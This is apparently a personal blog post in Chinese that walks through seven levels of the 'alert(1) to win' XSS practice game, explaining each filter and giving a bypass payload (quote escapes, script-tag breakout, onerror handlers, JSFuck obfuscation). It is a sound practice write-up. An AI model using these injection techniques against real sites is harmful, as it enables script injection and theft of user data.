最近在玩 alert(1) 的 XSS 小遊戲,藉此紀錄一下每關的思路及解法
(建議先自己玩過之後再看這篇,免得被我雷到 XD)
XSS 的危險性就不特別解釋了
輕則可以注入挖礦程式,重則被盜用個人資料
以下有每關的解法及答案,防雷 ~
- Warmup (第一關)
相當單純的沒做任何輸入過濾,可以直接湊出")
即可
");alert(1);//
- Adobe (第二關)
多了"
取代為\"
的處理,那就多放個\
囉 XD
\");alert(1);//
- JSON (第三關)
完全用JSON.stringify
做字元過濾,少了<
,>
,/
這些的過濾
</script><script>alert(1);//
- Markdown (第四關)
常見的 markdown 轉為 HTML 的取代方式,看起來突破口不是a
就是img
,嘗試使用onerror
接口突破
[[img123|http://onerror='javascript:alert(1)']]
- DOM (第五關)
看了很久,找到最有可能的為createComment
這個接口,配合>
塞上img
即可
Comment#><img src="test.jpg" onerror="javascript: alert(1)">
- Callback (第六關)
明顯的第一個參數是不擋'
,[
,]
因此可以試著使用'
做 escape
'#'; alert(1); //
- Skandia (第七關)
相當單純,要完全避開toUpperCase
看來只能避開英文字母,試著使用 http://www.jsfuck.com/ 做 code obfuscation
");(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]];("